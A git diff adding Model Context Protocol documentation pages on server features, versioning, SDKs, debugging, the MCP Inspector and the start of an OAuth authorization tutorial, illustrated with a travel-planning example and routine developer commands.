+MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces.
+
+Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling.
+
+## Core Server Features
+
+Servers provide functionality through three building blocks:
+
+| Feature | Explanation | Examples | Who controls it |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- |
+| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights Send messages Create calendar events | Model |
+| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents Access knowledge bases Read calendars | Application |
+| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation Summarize my meetings Draft an email | User |
+
+We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together.
+
+### Tools
+
+Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context.
+
+#### How Tools Work
+
+Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| ------------ | ------------------------ | -------------------------------------- |
+| `tools/list` | Discover available tools | Array of tool definitions with schemas |
+| `tools/call` | Execute a specific tool | Tool execution result |
+
+**Example tool definition:**
+
+```typescript theme={null}
+{
+ name: "searchFlights",
+ description: "Search for available flights",
+ inputSchema: {
+ type: "object",
+ properties: {
+ origin: { type: "string", description: "Departure city" },
+ destination: { type: "string", description: "Arrival city" },
+ date: { type: "string", format: "date", description: "Travel date" }
+ },
+ required: ["origin", "destination", "date"]
+ }
+}
+```
+
+#### Example: Travel Booking
+
+Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation:
+
+**Flight Search**
+
+```
+searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15")
+```
+
+Queries multiple airlines and returns structured flight options.
+
+**Calendar Blocking**
+
+```
+createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22")
+```
+
+Marks the travel dates in the user's calendar.
+
+**Email notification**
+
+```
+sendEmail(to: "team@work.com", subject: "Out of Office", body: "...")
+```
+
+Sends an automated out-of-office message to colleagues.
+
+#### User Interaction Model
+
+Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms.
+
+For trust and safety, applications can implement user control through various mechanisms, such as:
+
+* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions
+* Approval dialogs for individual tool executions
+* Permission settings for pre-approving certain safe operations
+* Activity logs that show all tool executions with their results
+
+### Resources
+
+Resources provide structured access to information that the AI application can retrieve and provide to models as context.
+
+#### How Resources Work
+
+Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model.
+
+Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling.
+
+Resources support two discovery patterns:
+
+* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024
+* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example:
+ * `travel://activities/{city}/{category}` - returns activities by city and category
+ * `travel://activities/barcelona/museums` - returns all museums in Barcelona
+
+Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------------------- | ------------------------------- | -------------------------------------- |
+| `resources/list` | List available direct resources | Array of resource descriptors |
+| `resources/templates/list` | Discover resource templates | Array of resource template definitions |
+| `resources/read` | Retrieve resource contents | Resource data with metadata |
+| `resources/subscribe` | Monitor resource changes | Subscription confirmation |
+
+#### Example: Getting Travel Planning Context
+
+Continuing with the travel planning example, resources provide the AI application with access to relevant information:
+
+* **Calendar data** (`calendar://events/2024`) - Checks user availability
+* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents
+* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences
+
+The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model.
+
+In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences.
+
+**Resource Template Examples:**
+
+```json theme={null}
+{
+ "uriTemplate": "weather://forecast/{city}/{date}",
+ "name": "weather-forecast",
+ "title": "Weather Forecast",
+ "description": "Get weather forecast for any city and date",
+ "mimeType": "application/json"
+}
+
+{
+ "uriTemplate": "travel://flights/{origin}/{destination}",
+ "name": "flight-search",
+ "title": "Flight Search",
+ "description": "Search available flights between cities",
+ "mimeType": "application/json"
+}
+```
+
+These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)".
+
+#### Parameter Completion
+
+Dynamic resources support parameter completion. For example:
+
+* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City"
+* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International"
+
+The system helps discover valid values without requiring exact format knowledge.
+
+#### User Interaction Model
+
+Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include:
+
+* Tree or list views for browsing resources in familiar folder-like structures
+* Search and filter interfaces for finding specific resources
+* Automatic context inclusion or smart suggestions based on heuristics or AI selection
+* Manual or bulk selection interfaces for including single or multiple resources
+
+Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers.
+
+### Prompts
+
+Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server.
+
+#### How Prompts Work
+
+Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------- | -------------------------- | ------------------------------------- |
+| `prompts/list` | Discover available prompts | Array of prompt descriptors |
+| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments |
+
+#### Example: Streamlined Workflows
+
+Prompts provide structured templates for common tasks. In the travel planning context:
+
+**"Plan a vacation" prompt:**
+
+```json theme={null}
+{
+ "name": "plan-vacation",
+ "title": "Plan a vacation",
+ "description": "Guide through vacation planning process",
+ "arguments": [
+ { "name": "destination", "type": "string", "required": true },
+ { "name": "duration", "type": "number", "description": "days" },
+ { "name": "budget", "type": "number", "required": false },
+ { "name": "interests", "type": "array", "items": { "type": "string" } }
+ ]
+}
+```
+
+Rather than unstructured natural language input, the prompt system enables:
+
+1. Selection of the "Plan a vacation" template
+2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"]
+3. Consistent workflow execution based on the template
+
+#### User Interaction Model
+
+Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include:
+
+* Easy discovery of available prompts
+* Clear descriptions of what each prompt does
+* Natural argument input with validation
+* Transparent display of the prompt's underlying template
+
+Applications typically expose prompts through various UI patterns such as:
+
+* Slash commands (typing "/" to see available prompts like /plan-vacation)
+* Command palettes for searchable access
+* Dedicated UI buttons for frequently used prompts
+* Context menus that suggest relevant prompts
+
+## Bringing Servers Together
+
+The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface.
+
+### Example: Multi-Server Travel Planning
+
+Consider a personalized AI travel planner application, with three connected servers:
+
+* **Travel Server** - Handles flights, hotels, and itineraries
+* **Weather Server** - Provides climate data and forecasts
+* **Calendar/Email Server** - Manages schedules and communications
+
+#### The Complete Flow
+
+1. **User invokes a prompt with parameters:**
+
+ ```json theme={null}
+ {
+ "prompt": "plan-vacation",
+ "arguments": {
+ "destination": "Barcelona",
+ "departure_date": "2024-06-15",
+ "return_date": "2024-06-22",
+ "budget": 3000,
+ "travelers": 2
+ }
+ }
+ ```
+
+2. **User selects resources to include:**
+ * `calendar://my-calendar/June-2024` (from Calendar Server)
+ * `travel://preferences/europe` (from Travel Server)
+ * `travel://past-trips/Spain-2023` (from Travel Server)
+
+3. **AI processes the request using tools:**
+
+ The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips.
+
+ Using this context, the AI then executes the prompt provided by the AI application. In our example, the AI application exposes the weather tools from the connected MCP weather server to the model. Because weather can affect travel plans, the AI chooses to call `checkWeather()` when interpreting the prompt.
+
+ As a result the AI executes a series of tools:
+
+ * `searchFlights()` - Queries airlines for NYC to Barcelona flights
+ * `checkWeather()` - Retrieves climate forecasts for travel dates
+
+ The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary:
+
+ * `bookHotel()` - Finds hotels within the specified budget
+ * `createCalendarEvent()` - Adds the trip to the user's calendar
+ * `sendEmail()` - Sends confirmation with trip details
+
+**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP.
diff --git a/content/mcp/docs/2025-11-25/learn/versioning.md b/content/mcp/docs/2025-11-25/learn/versioning.md
new file mode 100644
index 000000000..4d51d104d
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/learn/versioning.md
@@ -0,0 +1,49 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Versioning
+
+The Model Context Protocol uses string-based version identifiers following the format
+`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made.
+
+
+ The protocol version will *not* be incremented when the
+ protocol is updated, as long as the changes maintain backwards compatibility. This allows
+ for incremental improvements while preserving interoperability.
+
+
+## Revisions
+
+Revisions may be marked as:
+
+* **Draft**: in-progress specifications, not yet ready for consumption.
+* **Current**: the current protocol version, which is ready for use and may continue to
+ receive backwards compatible changes.
+* **Final**: past, complete specifications that will not be changed.
+
+The **current** protocol version is [**2025-11-25**](/specification/2025-11-25/).
+
+## Feature States
+
+Individual features of the specification may additionally be marked as
+**Deprecated** under the
+[feature lifecycle and deprecation policy](/community/feature-lifecycle):
+the feature remains part of the specification, but is scheduled for removal.
+Deprecated features document a migration path (or state that none is required)
+and remain in the specification for at least twelve months, or at least
+ninety days under the policy's
+[expedited-removal exception](/community/feature-lifecycle#expedited-removal),
+before they become eligible for removal, after which they may be **Removed**
+in a future revision.
+
+## Negotiation
+
+Version negotiation happens during
+[initialization](/specification/2025-11-25/basic/lifecycle#initialization). Clients and
+servers **MAY** support multiple protocol versions simultaneously, but they **MUST**
+agree on a single version to use for the session.
+
+The protocol provides appropriate error handling if version negotiation fails, allowing
+clients to gracefully terminate connections when they cannot find a version compatible
+with the server.
diff --git a/content/mcp/docs/2025-11-25/sdk.md b/content/mcp/docs/2025-11-25/sdk.md
new file mode 100644
index 000000000..11ab131ac
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/sdk.md
@@ -0,0 +1,51 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# SDKs
+
+> Official SDKs for building with Model Context Protocol
+
+Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](/community/sdk-tiers).
+
+## Available SDKs
+
+| SDK | Repository | Tier |
+| :----------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | ------------------------------------------------: |
+| [TypeScript](https://ts.sdk.modelcontextprotocol.io) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 |
+| [Python](https://py.sdk.modelcontextprotocol.io) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 |
+| [C#](https://csharp.sdk.modelcontextprotocol.io) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 |
+| [Go](https://go.sdk.modelcontextprotocol.io) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 |
+| [Java](https://java.sdk.modelcontextprotocol.io) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 |
+| [Rust](https://rust.sdk.modelcontextprotocol.io) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 |
+| Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 |
+| [Ruby](https://ruby.sdk.modelcontextprotocol.io) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 3 |
+| [PHP](https://php.sdk.modelcontextprotocol.io) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 |
+| [Kotlin](https://kotlin.sdk.modelcontextprotocol.io) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | Tier 3 |
+
+See [SDK Tiering System](/community/sdk-tiers) for details on what each tier means.
+
+## Getting Started
+
+Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support:
+
+* Creating MCP servers that expose tools, resources, and prompts
+* Building MCP clients that can connect to any MCP server
+* Local and remote transport protocols
+* Protocol compliance with type safety
+
+Visit the SDK page for your chosen language to find installation instructions, documentation, and examples.
+
+## Next Steps
+
+Ready to start building with MCP? Choose your path:
+
+
+
+ Learn how to create your first MCP server
+
+
+
+ Create applications that connect to MCP servers
+
+
diff --git a/content/mcp/docs/2025-11-25/tools/debugging.md b/content/mcp/docs/2025-11-25/tools/debugging.md
new file mode 100644
index 000000000..f7e5766dc
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/tools/debugging.md
@@ -0,0 +1,352 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Debugging
+
+> A comprehensive guide to debugging Model Context Protocol (MCP) integrations
+
+Effective debugging is essential when developing MCP servers or integrating
+them with applications. This guide covers the debugging tools and approaches
+available in the MCP ecosystem.
+
+## Debugging tools overview
+
+MCP provides several tools for debugging at different levels:
+
+1. **[MCP Inspector](/docs/2025-11-25/tools/inspector)**: interactive, transport-agnostic
+ testing UI. Connect to stdio or Streamable HTTP servers, invoke
+ [tools](/specification/2025-11-25/server/tools),
+ [prompts](/specification/2025-11-25/server/prompts), and
+ [resources](/specification/2025-11-25/server/resources), and watch the
+ notification stream. This should be your first stop.
+2. **Server logging**: structured logs to stderr (stdio transport) or via
+ [`notifications/message`](/specification/2025-11-25/server/utilities/logging#log-message-notifications)
+ (all transports).
+3. **Client developer tools**: most MCP clients expose logs and connection
+ state. See [Debugging in Claude Desktop](#debugging-in-claude-desktop)
+ below for one example, or consult your client's documentation.
+
+## Implementing logging
+
+### Server-side logging
+
+When building a server that uses the local
+[stdio transport](/specification/2025-11-25/basic/transports#stdio), all messages
+logged to stderr (standard error) will be captured by the host application
+automatically.
+
+
+ Local MCP servers should not log messages to stdout (standard out), as this
+ will interfere with protocol operation.
+
+
+For servers using the
+[Streamable HTTP transport](/specification/2025-11-25/basic/transports#streamable-http),
+stderr is not captured by the client. Use the log message notifications below,
+your own server-side log aggregation, or standard HTTP tooling (curl, browser
+DevTools Network panel) to inspect requests,
+[`Mcp-Session-Id` headers](/specification/2025-11-25/basic/transports#session-management),
+and SSE streams.
+
+For all [transports](/specification/2025-11-25/basic/transports), you can also
+provide logging to the client by sending a log message notification:
+
+
+ ```python Python theme={null}
+ @server.tool()
+ async def my_tool(ctx: Context) -> str:
+ await ctx.session.send_log_message(
+ level="info",
+ data="Server started successfully",
+ )
+ return "done"
+ ```
+
+ ```typescript TypeScript theme={null}
+ await server.sendLoggingMessage({
+ level: "info",
+ data: "Server started successfully",
+ });
+ ```
+
+
+MCP defines eight
+[RFC 5424 severity levels](/specification/2025-11-25/server/utilities/logging#log-levels)
+(`debug` through `emergency`). Clients can adjust the minimum level at runtime
+via the
+[`logging/setLevel`](/specification/2025-11-25/server/utilities/logging#setting-log-level)
+request.
+
+Important events to log:
+
+* Initialization steps
+* Resource access
+* Tool execution
+* Error conditions
+* Performance metrics
+
+## Common issues
+
+The examples below use Claude Desktop's
+[`claude_desktop_config.json`](/docs/2025-11-25/develop/connect-local-servers); the same
+principles apply to any stdio-based MCP client.
+
+### Working directory
+
+When an MCP client launches a stdio server:
+
+* The working directory for servers launched via the client's config may be
+ undefined (like `/` on macOS) since the client could be started from
+ anywhere
+* Always use absolute paths in your configuration and `.env` files to ensure
+ reliable operation
+* For testing servers directly via command line, the working directory will be
+ where you run the command
+
+For example in `claude_desktop_config.json`, use:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/data"
+ ]
+ }
+ }
+}
+```
+
+Instead of relative paths like `./data`
+
+### Environment variables
+
+MCP servers launched over stdio inherit only a limited subset of environment
+variables automatically (the exact set is platform-dependent).
+
+To override the default variables or provide your own, you can specify an
+`env` key in `claude_desktop_config.json`:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "myserver": {
+ "command": "mcp-server-myapp",
+ "env": {
+ "MYAPP_API_KEY": "some_key"
+ }
+ }
+ }
+}
+```
+
+### Server initialization
+
+Common initialization problems:
+
+1. **Path Issues**
+ * Incorrect server executable path
+ * Missing required files
+ * Permission problems
+ * Try using an absolute path for `command`
+
+2. **Configuration Errors**
+ * Invalid JSON syntax
+ * Missing required fields
+ * Type mismatches
+
+3. **Environment Problems**
+ * Missing environment variables
+ * Incorrect variable values
+ * Permission restrictions
+
+### Connection problems
+
+When servers fail to connect:
+
+1. Check client logs
+2. Verify server process is running
+3. Test standalone with [Inspector](/docs/2025-11-25/tools/inspector)
+4. Verify
+ [protocol compatibility](/specification/2025-11-25/basic/lifecycle#version-negotiation)
+5. Check
+ [capability negotiation](/specification/2025-11-25/basic/lifecycle#capability-negotiation):
+ error [`-32602`](/specification/2025-11-25/basic/lifecycle#error-handling) is
+ the standard JSON-RPC "Invalid params" code and is returned in many
+ contexts. One common cause is a server sending
+ [sampling](/specification/2025-11-25/client/sampling) or
+ [elicitation](/specification/2025-11-25/client/elicitation) requests to a
+ client that hasn't declared that capability. Inspect the
+ [`initialize` exchange](/specification/2025-11-25/basic/lifecycle#initialization)
+ to verify both sides declared what you expect
+
+## Debugging in Claude Desktop
+
+Claude Desktop is one of many MCP clients. It is available on
+macOS and Windows.
+
+### Checking server status
+
+Click the "Add files, connectors, and more" plus icon in the chat input, then
+hover over the **Connectors** menu to see connected servers and available
+tools.
+
+
+
+### Viewing logs
+
+Log files are written to:
+
+* macOS: `~/Library/Logs/Claude`
+* Windows: `%APPDATA%\Claude\logs`
+
+
+ ```bash macOS theme={null}
+ tail -n 20 -F ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "$env:AppData\Claude\logs\mcp*.log"
+ ```
+
+
+The logs capture:
+
+* Server connection events
+* Configuration issues
+* Runtime errors
+* Message exchanges
+
+### Using Chrome DevTools
+
+Access Chrome's developer tools inside Claude Desktop to investigate
+client-side errors:
+
+1. Create a `developer_settings.json` file with `allowDevTools` set to true:
+
+
+ ```bash macOS theme={null}
+ echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json
+ ```
+
+ ```powershell Windows theme={null}
+ '{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json"
+ ```
+
+
+2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows)
+
+Note: You'll see two DevTools windows:
+
+* Main content window
+* App title bar window
+
+Use the Console panel to inspect client-side errors.
+
+Use the Network panel to inspect:
+
+* Message payloads
+* Connection timing
+
+## Debugging workflow
+
+### Development cycle
+
+1. Initial Development
+ * Use [Inspector](/docs/2025-11-25/tools/inspector) for basic testing
+ * Implement core functionality
+ * Add logging points
+
+2. Integration Testing
+ * Test in your target MCP client
+ * Monitor logs
+ * Check error handling
+
+### Testing changes
+
+To test changes efficiently:
+
+* **Configuration changes**: Restart the MCP client
+* **Server code changes**: Restart the client (for Claude Desktop, fully quit
+ and reopen; closing the window is not enough)
+* **Quick iteration**: Use [Inspector](/docs/2025-11-25/tools/inspector) during
+ development
+
+## Best practices
+
+### Logging strategy
+
+1. **Structured Logging**
+ * Use consistent formats
+ * Include context
+ * Add timestamps
+ * Track request IDs
+
+2. **Error Handling**
+ * Log stack traces
+ * Include error context
+ * Track error patterns
+ * Monitor recovery
+
+3. **Performance Tracking**
+ * Log operation timing
+ * Monitor resource usage
+ * Track message sizes
+ * Measure latency
+
+### Security considerations
+
+When debugging:
+
+1. **Sensitive Data**
+ * Sanitize logs
+ * Protect credentials
+ * Mask personal information
+
+2. **Access Control**
+ * Verify permissions
+ * Check authentication
+ * Monitor access patterns
+
+For a full treatment of MCP attack vectors and mitigations, see
+[Security Best Practices](/docs/2025-11-25/tutorials/security/security_best_practices).
+
+## Getting help
+
+When encountering issues:
+
+1. **First Steps**
+ * Check server logs
+ * Test with [Inspector](/docs/2025-11-25/tools/inspector)
+ * Review configuration
+ * Verify environment
+
+2. **Support Channels**
+ * [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)
+ * [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)
+
+3. **Providing Information**
+ * Log excerpts
+ * Configuration files
+ * Steps to reproduce
+ * Environment details
+
+## Next steps
+
+
+
+ Learn to use the MCP Inspector
+
+
+
+ Walk through building a server from scratch
+
+
+
+ Full claude\_desktop\_config.json reference and troubleshooting
+
+
diff --git a/content/mcp/docs/2025-11-25/tools/inspector.md b/content/mcp/docs/2025-11-25/tools/inspector.md
new file mode 100644
index 000000000..2bfa8c4ab
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/tools/inspector.md
@@ -0,0 +1,144 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# MCP Inspector
+
+> In-depth guide to using the MCP Inspector for testing and debugging Model Context Protocol servers
+
+The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](/docs/2025-11-25/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector's features and capabilities.
+
+## Getting started
+
+### Installation and basic usage
+
+The Inspector runs directly through `npx` without requiring installation:
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+#### Inspecting servers from npm or PyPI
+
+A common way to start server packages from [npm](https://npmjs.com) or [PyPI](https://pypi.org).
+
+
+
+ ```bash theme={null}
+ npx -y @modelcontextprotocol/inspector npx
+ # For example
+ npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector uvx
+ # For example
+ npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
+ ```
+
+
+
+#### Inspecting locally developed servers
+
+To inspect servers locally developed or downloaded as a repository, the most common
+way is:
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector node path/to/server/index.js args...
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector \
+ uv \
+ --directory path/to/server \
+ run \
+ package-name \
+ args...
+ ```
+
+
+
+Please carefully read any attached README for the most accurate instructions.
+
+## Feature overview
+
+
+
+
+
+The Inspector provides several features for interacting with your MCP server:
+
+### Server connection pane
+
+* Allows selecting the [transport](/specification/2025-11-25/basic/transports) for connecting to the server
+* For local servers, supports customizing the command-line arguments and environment
+
+### Resources tab
+
+* Lists all available resources
+* Shows resource metadata (MIME types, descriptions)
+* Allows resource content inspection
+* Supports subscription testing
+
+### Prompts tab
+
+* Displays available prompt templates
+* Shows prompt arguments and descriptions
+* Enables prompt testing with custom arguments
+* Previews generated messages
+
+### Tools tab
+
+* Lists available tools
+* Shows tool schemas and descriptions
+* Enables tool testing with custom inputs
+* Displays tool execution results
+
+### Notifications pane
+
+* Presents all logs recorded from the server
+* Shows notifications received from the server
+
+## Best practices
+
+### Development workflow
+
+1. Start Development
+ * Launch Inspector with your server
+ * Verify basic connectivity
+ * Check capability negotiation
+
+2. Iterative testing
+ * Make server changes
+ * Rebuild the server
+ * Reconnect the Inspector
+ * Test affected features
+ * Monitor messages
+
+3. Test edge cases
+ * Invalid inputs
+ * Missing prompt arguments
+ * Concurrent operations
+ * Verify error handling and error responses
+
+## Next steps
+
+
+
+ Check out the MCP Inspector source code
+
+
+
+ Learn about broader debugging strategies
+
+
diff --git a/content/mcp/docs/2025-11-25/tutorials/security/authorization.md b/content/mcp/docs/2025-11-25/tutorials/security/authorization.md
new file mode 100644
index 000000000..fe5d3f4b9
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/tutorials/security/authorization.md
@@ -0,0 +1,1061 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding Authorization in MCP
+
+> Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations
+
+Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints.
+
+MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/2025-11-25/basic/authorization).
+
+## When Should You Use Authorization?
+
+While authorization for MCP servers is **optional**, it is strongly recommended when:
+
+* Your server accesses user-specific data (emails, documents, databases)
+* You need to audit who performed which actions
+* Your server grants access to its APIs that require user consent
+* You're building for enterprise environments with strict access controls
+* You want to implement rate limiting or usage tracking per user
+
+
+ **Authorization for Local MCP Servers**
+
+ For MCP servers using the [STDIO transport](/specification/2025-11-25/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.
+
+ OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server.
+
+
+## The Authorization Flow: Step by Step
+
+Let's walk through what happens when a client wants to connect to your protected MCP server:
+
+
+
+ When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header.
+
+ ```http theme={null}
+ HTTP/1.1 401 Unauthorized
+ WWW-Authenticate: Bearer realm="mcp",
+ resource_metadata="https://your-server.com/.well-known/oauth-protected-resource"
+ ```
+
+ This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow.
+
+
+
+ With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below.
+
+ ```json theme={null}
+ {
+ "resource": "https://your-server.com/mcp",
+ "authorization_servers": ["https://auth.your-server.com"],
+ "scopes_supported": ["mcp:tools", "mcp:resources"]
+ }
+ ```
+
+ You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r).
+
+
+
+ Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.
+
+ With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support)
+ and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow.
+
+ ```json theme={null}
+ {
+ "issuer": "https://auth.your-server.com",
+ "authorization_endpoint": "https://auth.your-server.com/authorize",
+ "token_endpoint": "https://auth.your-server.com/token",
+ "registration_endpoint": "https://auth.your-server.com/register"
+ }
+ ```
+
+
+
+ With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways.
+
+ First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.
+
+ Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information:
+
+ ```json theme={null}
+ {
+ "client_name": "My MCP Client",
+ "redirect_uris": ["http://localhost:3000/callback"],
+ "grant_types": ["authorization_code", "refresh_token"],
+ "response_types": ["code"]
+ }
+ ```
+
+ If the registration succeeds, the authorization server will return a JSON blob with client registration information.
+
+
